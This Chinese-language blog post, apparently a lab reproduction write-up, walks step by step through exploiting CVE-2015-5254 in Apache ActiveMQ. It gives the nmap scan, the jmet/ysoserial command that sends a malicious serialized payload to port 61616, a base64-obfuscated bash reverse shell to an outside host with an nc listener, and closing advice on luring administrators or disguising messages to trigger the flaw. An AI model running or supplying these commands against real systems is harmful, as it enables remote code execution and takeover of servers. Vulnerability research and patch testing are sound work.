CVE-2015-5254

漏洞描述

Apache ActiveMQ 是由美国 Pachitea (Apache) 软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。

影响版本:Apache ActiveMQ 5.13.0之前5.x版本,该程序导致的漏洞并不限制可以在代理中序列化的类。远程攻击者可以利用此漏洞使特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象执行任意代码。

它将在端口 61616 和 8161 上建立两个端口。端口 61616 是工作端口,消息在此端口上传递。端口 8161 是网页管理页面端口。访问方面,可以看到网络管理页面,但是这个漏洞理论上并不需要网络。

漏洞利用流程如下

1、生成序列化有效负载(可以使用 ysoserial)
2、将有效负载发送到端口 61616
3、访问 Web 管理页面并阅读序列化消息,然后您可以触发漏洞

复现过程

1、扫描IP开放端口信息

nmap -sC -sV 192.168.3.243 -p-

在这里插入图片描述
发现其开放61616端口,运行apachemq ActiveMQ

2、下载jmet(Java 消息利用工具),在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
在这里插入图片描述
3、执行命令,将有效负载发送到目标IP的61616端口

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.3.243 61616

在这里插入图片描述
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

4、这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.168.3.243:8161/admin/queues.jsp;jsessionid=1bz5fbkl1zhbu1g6b2qjtiakd看到这个队列中所有消息:

在这里插入图片描述
点击查看这条消息即可触发命令执行

在这里插入图片描述
在这里插入图片描述
5、登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建
查看容器id

sudo docker ps -a

在这里插入图片描述
得到ActiveMQ容器id 27ef409aae5d

6、登录容器环境

docker exec -it 27ef409aae5d bash

7、查询tmp目录下的文件

ls -la /tmp/

在这里插入图片描述
8、将命令替换成弹shell的语句再利用

bash -i >& /dev/tcp/192.200.3.242/31005 0>&1

Base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=
在这里插入图片描述
bash64解码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}

9、kali开启端口监听

nc -lvvp 31005

在这里插入图片描述

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMuMjQyLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.3.243 61616

在这里插入图片描述
记住ID号,后面会用到
kali-34033-1721830306563-0:1
在这里插入图片描述
点一个触发shell
在这里插入图片描述

漏洞利用思路

通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发

总结

通过 Web 管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱使管理员访问我们的链接触发,或者伪装成其他服务的合法消息在触发时需要等待客户端访问。

  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值